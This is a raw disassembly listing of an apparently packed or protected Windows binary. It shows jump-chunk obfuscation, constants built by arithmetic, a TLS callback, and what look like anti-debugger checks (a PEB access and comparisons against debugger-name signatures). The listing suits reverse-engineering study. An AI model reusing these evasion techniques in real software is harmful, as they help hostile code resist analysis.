--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42B368: ; CODE XREF: sub_42798F+2E19j push 37C7552Bh pop ebp sub ebp, 7E5D5DA8h xor ebp, 30720C8Dh add ebp, 7726B880h xchg ebp, [esp+0] locret_42B383: ; CODE XREF: _0182ofla:00428D55j retn ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E395 loc_42B384: ; CODE XREF: sub_42E395+1Cj jmp loc_429B47 ; END OF FUNCTION CHUNK FOR sub_42E395 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42B389: ; CODE XREF: sub_423FCD+857Bj jmp loc_42C763 ; END OF FUNCTION CHUNK FOR sub_423FCD ; --------------------------------------------------------------------------- retn 0Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4235C7 loc_42B391: ; CODE XREF: sub_4235C7+B4E1j add eax, 0AC435D7Dh mov eax, [eax] call sub_42D978 loc_42B39E: ; CODE XREF: sub_42ABB7+3F67j jmp loc_428B83 ; END OF FUNCTION CHUNK FOR sub_4235C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C906 loc_42B3A3: ; CODE XREF: sub_42C906-8B3Aj jmp loc_42ED04 ; END OF FUNCTION CHUNK FOR sub_42C906 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42B3A8: ; CODE XREF: sub_42D056-36A5j add ecx, 4 mov dword ptr [ecx], offset loc_42ADD2 xor eax, eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A438 loc_42B3B8: ; CODE XREF: sub_42A438+Bj jmp loc_42C6F7 ; END OF FUNCTION CHUNK FOR sub_42A438 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429A64 loc_42B3BD: ; CODE XREF: sub_429A64-1C39j jmp sub_42E102 ; END OF FUNCTION CHUNK FOR sub_429A64 ; =============== S U B R O U T I N E ======================================= sub_42B3C2 proc near ; CODE XREF: sub_42D056-2771p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004233B0 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00426940 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00426AEA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00429E8F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042ADD2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042DF3C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E533 SIZE 0000000A BYTES push dword ptr fs:0 jmp loc_426AEA sub_42B3C2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= public TlsCallback_0 TlsCallback_0 proc near ; DATA XREF: _0182ofla:TlsCallbackso ; FUNCTION CHUNK AT 00424AF8 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042ECE9 SIZE 00000007 BYTES call sub_42DFBB loc_42B3D2: ; CODE XREF: sub_42B1F9+2ED2j jmp loc_42ECE9 TlsCallback_0 endp ; --------------------------------------------------------------------------- locret_42B3D7: ; CODE XREF: _0182ofla:00425039j retn ; --------------------------------------------------------------------------- loc_42B3D8: ; CODE XREF: _0182ofla:loc_42806Aj jnz loc_4234FC jmp loc_42E92D ; --------------------------------------------------------------------------- loc_42B3E3: ; CODE XREF: _0182ofla:loc_426673j mov eax, [ebp+8] test byte ptr [eax-8], 8 setnz al call sub_42ECAD pop ecx jmp loc_4272AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D02D loc_42B3F8: ; CODE XREF: sub_42D02D+Cj repne icebp jmp loc_426F22 ; END OF FUNCTION CHUNK FOR sub_42D02D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C379 loc_42B3FF: ; CODE XREF: sub_42C379-46D1j mov ebx, edx xchg ebx, [esp+8+var_8] loc_42B404: ; CODE XREF: sub_42B3C2-4A77j push 0BD067EB4h pop edx rol edx, 15h add edx, 29AAD872h jmp loc_4290A6 ; END OF FUNCTION CHUNK FOR sub_42C379 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42B418: ; CODE XREF: sub_423A2A+AB33j jno loc_424454 loc_42B41E: ; CODE XREF: sub_423A2A:loc_42574Dj call sub_42AB27 retn ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- loc_42B424: ; CODE XREF: _0182ofla:0042A6B2j jmp loc_424109 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42B429: ; CODE XREF: sub_423A2A+2D35j call sub_423FCD test al, al jz loc_42C1BE call nullsub_7 jmp nullsub_112 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- loc_42B440: ; CODE XREF: _0182ofla:loc_42AC7Fj call sub_42D71D push eax ror eax, 0Bh mov dword ptr ds:loc_426FAC, eax retn ; --------------------------------------------------------------------------- loc_42B450: ; CODE XREF: _0182ofla:0042764Ej rol eax, 0Bh push eax jmp loc_42597B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42B45A: ; CODE XREF: sub_42798F-971j popf add edi, 358B4EFh loc_42B461: ; CODE XREF: sub_42798F:loc_427309j mov eax, 60h call sub_4265C0 jmp loc_42D5A9 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427445 loc_42B470: ; CODE XREF: sub_427445+631Dj jo loc_427FBE call nullsub_1 call sub_42C906 loc_42B480: ; CODE XREF: sub_42E320+6j jmp loc_42D137 ; END OF FUNCTION CHUNK FOR sub_427445 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_42B485: ; CODE XREF: sub_423FCD+60E0j jmp loc_42CFDA ; END OF FUNCTION CHUNK FOR sub_423FCD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E81 loc_42B48B: ; CODE XREF: sub_427E81+Aj jmp nullsub_214 ; END OF FUNCTION CHUNK FOR sub_427E81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_42B490: ; CODE XREF: sub_42660C-52Cj jmp loc_426EDA ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42B495: ; CODE XREF: sub_423A2A+45EEj jnz loc_424FA8 jmp loc_42A39C ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- mov ds:dword_42578C, eax ; START OF FUNCTION CHUNK FOR sub_428336 loc_42B4A5: ; CODE XREF: sub_428336+5j xor eax, eax push edi push 462800BAh pop edi and edi, 423ED095h sub edi, ds:4000FAh jmp loc_42488D ; END OF FUNCTION CHUNK FOR sub_428336 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42B4BF: ; CODE XREF: sub_42798F:loc_427A18j push offset sub_42CB00 jmp loc_4274E3 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4255E9 loc_42B4C9: ; CODE XREF: sub_4255E9+Bj pop ebp mov eax, ds:dword_427A54 or eax, eax jnz loc_42869B jmp loc_424C75 ; END OF FUNCTION CHUNK FOR sub_4255E9 ; --------------------------------------------------------------------------- xor ebp, 985182D2h jmp sub_427D2B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423395 loc_42B4E9: ; CODE XREF: sub_423395+7D7Bj jmp nullsub_87 ; END OF FUNCTION CHUNK FOR sub_423395 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426BDA loc_42B4EE: ; CODE XREF: sub_426BDA+382Aj jmp nullsub_88 ; END OF FUNCTION CHUNK FOR sub_426BDA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42461C loc_42B4F4: ; CODE XREF: sub_42461C+A70Dj jmp loc_427D05 ; END OF FUNCTION CHUNK FOR sub_42461C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9A4 loc_42B4F9: ; CODE XREF: sub_42D9A4-65FCj jmp loc_42D328 ; END OF FUNCTION CHUNK FOR sub_42D9A4 ; --------------------------------------------------------------------------- loc_42B4FE: ; CODE XREF: _0182ofla:loc_427961j ; _0182ofla:0042E31Aj sub ecx, ebx ; =============== S U B R O U T I N E ======================================= sub_42B500 proc near ; CODE XREF: sub_42966F:loc_42E414p ; FUNCTION CHUNK AT 0042A237 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042AE50 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx push 0 call sub_425305 pop eax jmp loc_42AE50 sub_42B500 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sub ebx, eax jmp loc_427E30 ; --------------------------------------------------------------------------- loc_42B518: ; DATA XREF: sub_42AB3E:loc_426504o xor edi, 80006B44h popf xchg edi, [esp] mov eax, [ebp-4] call sub_423A61 loc_42B52A: ; CODE XREF: _0182ofla:0042D85Fj add eax, [esp] adc edx, [esp+4] add esp, 8 push offset loc_428848 jmp locret_424D8F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9A4 loc_42B53E: ; CODE XREF: sub_42D9A4-1332j ; sub_42D9A4:loc_42D328j call sub_42CE73 ; END OF FUNCTION CHUNK FOR sub_42D9A4 ; START OF FUNCTION CHUNK FOR sub_42798F loc_42B543: ; CODE XREF: sub_42798F+125j jmp loc_4244E9 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424707 loc_42B548: ; CODE XREF: sub_424707+12j jmp loc_42CB3C ; END OF FUNCTION CHUNK FOR sub_424707 ; --------------------------------------------------------------------------- loc_42B54D: ; CODE XREF: _0182ofla:00429CAAj ja loc_42E30E ; =============== S U B R O U T I N E ======================================= sub_42B553 proc near ; CODE XREF: sub_428041-3382p mov [esp+0], eax pop eax sbb edx, 0B9FA36D8h cmp ecx, edx jmp loc_425458 sub_42B553 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425629 loc_42B565: ; CODE XREF: sub_42380D+261Bj ; sub_425629:loc_425EF6j jmp loc_427C71 ; END OF FUNCTION CHUNK FOR sub_425629 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4271D2 loc_42B56A: ; CODE XREF: sub_4271D2-193Bj jmp locret_42C6D5 ; END OF FUNCTION CHUNK FOR sub_4271D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_42B56F: ; CODE XREF: sub_425DA5+54BAj jo loc_42DB32 adc edx, 36CECA1Bh jbe loc_4239FE loc_42B581: ; CODE XREF: sub_425DA5:loc_4294CAj call nullsub_7 retn ; END OF FUNCTION CHUNK FOR sub_425DA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284E7 loc_42B587: ; CODE XREF: sub_4284E7+15j jmp loc_42D581 ; END OF FUNCTION CHUNK FOR sub_4284E7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D02D loc_42B58D: ; CODE XREF: sub_42D02D-572Cj jmp nullsub_125 ; END OF FUNCTION CHUNK FOR sub_42D02D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42561D loc_42B592: ; CODE XREF: sub_42561D-14D1j jmp loc_42E262 ; END OF FUNCTION CHUNK FOR sub_42561D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_42B597: ; CODE XREF: sub_425DA5-551j call sub_42892E jmp loc_4275E2 ; END OF FUNCTION CHUNK FOR sub_425DA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42B5A1: ; CODE XREF: sub_42798F:loc_42591Cj shr edx, 3 push 6295DF70h pop ecx rol ecx, 19h jnb loc_424B57 xchg ebp, ecx jmp loc_42E72C ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA9 loc_42B5BA: ; CODE XREF: sub_427DA9-4228j and ebx, edx jmp loc_42A326 ; END OF FUNCTION CHUNK FOR sub_427DA9 ; --------------------------------------------------------------------------- loc_42B5C1: ; CODE XREF: _0182ofla:004259F4j cdq ; =============== S U B R O U T I N E ======================================= sub_42B5C2 proc near ; CODE XREF: sub_429597+3C27p ; FUNCTION CHUNK AT 0042CECF SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push eax jmp loc_42CECF sub_42B5C2 endp ; =============== S U B R O U T I N E ======================================= sub_42B5CC proc near ; CODE XREF: _0182ofla:00425210j ; sub_423127+BB2Fp ; FUNCTION CHUNK AT 0042A08D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E3E2 SIZE 0000000C BYTES mov [esp+0], ebx pop ebx push ecx push 89DF4C11h pop ecx or ecx, 7DFC2C6Dh add ecx, 43B9C583h add ecx, ebp jmp loc_42A08D sub_42B5CC endp ; --------------------------------------------------------------------------- loc_42B5EA: ; CODE XREF: _0182ofla:0042AFEDj or [ecx+edx], al mov eax, [ebp-0Ch] push eax push 18DC73EEh jmp loc_427C92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E42 loc_42B5FB: ; CODE XREF: sub_427E42:loc_425A32j add eax, 7383B048h popf push eax push eax push 0DC2A0956h pop eax sub eax, 48DA0814h add eax, 6CF286D7h jmp loc_42C6A0 ; END OF FUNCTION CHUNK FOR sub_427E42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425DA5 loc_42B61B: ; CODE XREF: sub_425DA5:loc_428696j add ebx, 5E02E2D3h xor ebx, 0E00B0CC4h add ebx, 22DE80BEh xchg ebx, [esp+4+var_4] jmp sub_42E2EE ; END OF FUNCTION CHUNK FOR sub_425DA5 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_167. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_42B636: ; CODE XREF: sub_428F20+3j jmp loc_42A14C ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428176 loc_42B63B: ; CODE XREF: sub_428176-1E84j jmp sub_428D17 ; END OF FUNCTION CHUNK FOR sub_428176 ; =============== S U B R O U T I N E ======================================= sub_42B640 proc near ; DATA XREF: _0182ofla:00426D2Ao add edi, 5869CCA5h xchg edi, [esp+0] jmp loc_42AF52 sub_42B640 endp ; --------------------------------------------------------------------------- db 68h ; h db 0D8h ; Ø db 88h ; ˆ db 49h ; I db 1 db 58h ; X db 81h ; db 0C0h ; À db 9Eh ; ž db 0FCh ; ü db 0D3h ; Ó db 69h ; i db 68h ; h db 0ADh ; OFF32 SEGDEF [_0182ofla,42CFAD] db 0CFh ; Ï db 42h ; B db 0 db 0E9h ; é db 4Ah ; J db 0C6h ; Æ db 0FFh db 0FFh ; --------------------------------------------------------------------------- loc_42B664: ; CODE XREF: _0182ofla:loc_42ADA5j mov edi, 2C6460ABh ; =============== S U B R O U T I N E ======================================= sub_42B669 proc near ; CODE XREF: sub_42798F+13F9p ; FUNCTION CHUNK AT 00423ADA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004244C2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424985 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042551A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00427C65 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00428B8A SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042989C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042B136 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042C839 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042CEC6 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042D8B9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042E0E1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042E371 SIZE 00000005 BYTES mov [esp+0], edi pop edi cmp dword ptr [eax], 47424454h jz loc_42595F jmp loc_423ADA sub_42B669 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42B67E: ; CODE XREF: sub_423A2A:loc_423515j jnz loc_426037 loc_42B684: ; CODE XREF: sub_4284E7-40D6j jmp nullsub_90 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- not eax jmp loc_42602B ; --------------------------------------------------------------------------- pushf jmp loc_423B3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4271D2 loc_42B696: ; CODE XREF: sub_4271D2:loc_42505Ej jz loc_429C31 jmp loc_42A11B ; END OF FUNCTION CHUNK FOR sub_4271D2 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_183. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_42B6A2: ; CODE XREF: sub_4253F4+1E11j shr ecx, 16h sbb ebx, esi ; END OF FUNCTION CHUNK FOR sub_4253F4 ; START OF FUNCTION CHUNK FOR sub_428A39 loc_42B6A7: ; CODE XREF: sub_428A39-37CAj and ebp, esi popf loc_42B6AA: ; CODE XREF: sub_4253F4:loc_423DD1j cmp ebx, 69727943h jnz loc_42D629 jmp loc_429CDF ; END OF FUNCTION CHUNK FOR sub_428A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E689 loc_42B6BB: ; CODE XREF: sub_42E689-41E4j ja loc_425E3F ja loc_42A044 and edx, 1CDCA05Eh shr edx, 17h jmp loc_4250DA ; END OF FUNCTION CHUNK FOR sub_42E689 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_42B6D5: ; CODE XREF: sub_42B15E:loc_42437Ej jge loc_424C4D loc_42B6DB: ; CODE XREF: sub_423AB1+Fj jmp loc_42405E ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- sbb esi, 0C69276CEh jmp loc_424C4C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42326C loc_42B6EB: ; CODE XREF: sub_42326C:loc_42ADBBj xor eax, 0DCE2C192h add eax, ebp add eax, 0B91EB147h push eax mov eax, [ebp-4] push eax call sub_428176 jmp loc_42E063 ; END OF FUNCTION CHUNK FOR sub_42326C ; --------------------------------------------------------------------------- loc_42B708: ; DATA XREF: sub_427E32+6o mov edx, [ebp-14h] shr edx, 3 mov ecx, ds:dword_423190 or [ecx+edx], al push 78CA98F8h jmp loc_4257ED ; --------------------------------------------------------------------------- locret_42B721: ; CODE XREF: _0182ofla:00423A18j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429038 loc_42B722: ; CODE XREF: sub_429038+335Dj jmp loc_4236DA ; END OF FUNCTION CHUNK FOR sub_429038 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423EB3 loc_42B727: ; CODE XREF: sub_423EB3+12j push 44845FCBh pop esi add esi, 0BBBE5921h mov esi, [esi] xchg esi, [esp-4+arg_0] retn ; END OF FUNCTION CHUNK FOR sub_423EB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C379 loc_42B739: ; CODE XREF: sub_42C379+8j jmp loc_42B321 ; END OF FUNCTION CHUNK FOR sub_42C379 ; =============== S U B R O U T I N E ======================================= sub_42B73E proc near ; DATA XREF: sub_42CAC9+9o var_8 = dword ptr -8 push 0 push 3E4383F9h add [esp+8+var_8], 0C1BC7C07h lea eax, [ebp-4] push eax call sub_42371C push eax push offset loc_426FFE jmp nullsub_108 sub_42B73E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42B760: ; CODE XREF: sub_428D63:loc_42C75Ej mov [edi], eax jmp loc_42AF29 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_42B767: ; CODE XREF: sub_42660C+D81j push eax push edx push 6AA45DD0h pop edx add edx, 959E1414h xchg edx, [esp+0] jmp loc_42812D ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- mov edx, 710DA469h call sub_42D71D call sub_429FF9 jmp loc_42555D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423AF2 loc_42B791: ; CODE XREF: sub_423AF2+46C2j jz loc_42AE9D and ebx, ecx shl ebp, 4 test ebx, eax jmp loc_4265F8 ; END OF FUNCTION CHUNK FOR sub_423AF2 ; --------------------------------------------------------------------------- loc_42B7A3: ; DATA XREF: sub_42EAB7-14AAo cmp dword ptr [ebp-1Ch], 66h jnz loc_42D9FE ; START OF FUNCTION CHUNK FOR sub_42D9A4 loc_42B7AD: ; CODE XREF: sub_42D9A4:loc_42C668j mov eax, 6 sub eax, [ebp+var_C] jmp loc_42795C ; END OF FUNCTION CHUNK FOR sub_42D9A4 ; --------------------------------------------------------------------------- locret_42B7BA: ; CODE XREF: _0182ofla:004249C9j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_42B7BB: ; CODE XREF: sub_423A2A-5F9j jmp loc_425A13 ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42B7C0: ; CODE XREF: sub_42798F-1E5Aj jnz loc_42CBE9 jmp loc_42AFDF ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42AAF8 loc_42B7CB: ; CODE XREF: sub_42AAF8+42D2j mov edi, esi pushf loc_42B7CE: ; CODE XREF: sub_429C68:loc_42E463j call sub_428D17 ; END OF FUNCTION CHUNK FOR sub_42AAF8 ; START OF FUNCTION CHUNK FOR sub_424184 loc_42B7D3: ; CODE XREF: sub_424184:loc_4293C8j mov edx, 0D504D785h push offset loc_426FF3 jmp nullsub_91 ; END OF FUNCTION CHUNK FOR sub_424184 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427445 loc_42B7E2: ; CODE XREF: sub_427445-919j ; sub_42DD86:loc_4293B2j push ecx loc_42B7E3: ; CODE XREF: sub_42798F:loc_426397j push 0E2C3908Ah pop ecx add ecx, 1D7ED51Dh push offset sub_4275A3 jmp loc_42898A ; END OF FUNCTION CHUNK FOR sub_427445 ; --------------------------------------------------------------------------- mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_429D23 jmp loc_42C207 ; --------------------------------------------------------------------------- loc_42B80B: ; CODE XREF: _0182ofla:0042ADC5j test eax, ebx jmp loc_4247A1 ; --------------------------------------------------------------------------- loc_42B812: ; CODE XREF: _0182ofla:loc_42A4ABj push edx push eax mov eax, [ebp-18h] jmp loc_42333E ; --------------------------------------------------------------------------- loc_42B81C: ; CODE XREF: _0182ofla:00429D68j add esp, 8 call sub_424080 ; START OF FUNCTION CHUNK FOR sub_428BBF loc_42B824: ; CODE XREF: sub_428BBF:loc_428BC4j xor [esi], edx mov eax, 80000004h xor ebx, ebx xor ecx, ecx xor edx, edx jmp loc_42415F ; END OF FUNCTION CHUNK FOR sub_428BBF ; --------------------------------------------------------------------------- adc ecx, ebx jmp sub_425AE5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_42B83D: ; CODE XREF: sub_425B6E:loc_427563j jz nullsub_89 mov eax, large fs:30h mov eax, [eax+0Ch] mov eax, [eax+0Ch] call sub_42DDA6 loc_42B855: ; CODE XREF: _0182ofla:00427FB9j jmp loc_428CAC ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429242 loc_42B85A: ; CODE XREF: sub_429242-2B91j jmp loc_42972D ; END OF FUNCTION CHUNK FOR sub_429242 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_185. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_42B860 proc near ; CODE XREF: sub_42537E+2235p ; _0182ofla:004291AAj ; FUNCTION CHUNK AT 0042ECD0 SIZE 00000001 BYTES xchg ebx, [esp+0] pop ebx add eax, 86220616h push eax call sub_42371C jmp loc_42ECD0 sub_42B860 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42B875: ; CODE XREF: sub_428D63:loc_428B6Ej lea eax, [ebp-2AAh] cmp dword ptr [eax], 4742444Fh jz loc_42595F jmp loc_423377 ; END OF FUNCTION CHUNK FOR sub_428D63 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4281B9 loc_42B88C: ; CODE XREF: sub_4281B9:loc_42C11Ej pop eax and eax, 27A3D39h xor eax, 417E6CEFh push offset sub_42E585 jmp nullsub_92 ; END OF FUNCTION CHUNK FOR sub_4281B9 ; =============== S U B R O U T I N E ======================================= sub_42B8A3 proc near ; CODE XREF: _0182ofla:0042528Cj ; sub_42AC07-3049p xchg edx, [esp+0] pop edx mov edx, 0F75CA70h call sub_42D71D push 844AB399h mov [esp+0], eax jmp loc_42C119 sub_42B8A3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4298DD loc_42B8BE: ; CODE XREF: _0182ofla:004256CEj ; sub_4298DD-55Ej add ebp, 3F9B2372h loc_42B8C4: ; CODE XREF: _0182ofla:loc_42E959j call nullsub_8 retn ; --------------------------------------------------------------------------- loc_42B8CA: ; CODE XREF: sub_4298DD+3104j jmp loc_42C8E9 ; END OF FUNCTION CHUNK FOR sub_4298DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42B8CF: ; CODE XREF: sub_42798F+23A4j jmp loc_428883 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42938A loc_42B8D4: ; CODE XREF: sub_42938A-2786j jmp loc_42C351 ; END OF FUNCTION CHUNK FOR sub_42938A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_42B8DA: ; CODE XREF: sub_428F20-2AF4j jmp loc_42337C ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- db 9Dh dword_42B8E0 dd 0F39C01BBh ; DATA XREF: sub_42A642-22D2r ; sub_42A642+2790w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424184 loc_42B8E4: ; CODE XREF: sub_424184-EE0j jmp loc_42A543 ; END OF FUNCTION CHUNK FOR sub_424184 ; --------------------------------------------------------------------------- db 23h, 1Eh, 89h dword_42B8EC dd 77E75CB5h ; DATA XREF: _0182ofla:loc_424FE6r ; sub_42D5EF-6EECr ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C2CC loc_42B8F0: ; CODE XREF: sub_42C2CC+12B0j jmp nullsub_142 ; END OF FUNCTION CHUNK FOR sub_42C2CC ; --------------------------------------------------------------------------- db 72h, 0CBh, 0C3h dword_42B8F8 dd 2 ; DATA XREF: sub_423861:loc_424471r ; _0182ofla:0042575Cr ... dd 3 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h, 40h dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h dd 40h, 2 dup(1), 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 401h, 4 dup(2), 0C0h, 40h, 0 dd 23h dup(1), 2 dup(2), 4 dup(0) dd 40h, 42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h dd 42h, 2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1) dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h) dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h) dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h dd 0A00h, 60h, 1A00h, 4 dup(1), 0 dd 1, 2 dup(0) dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265C0 loc_42BCF8: 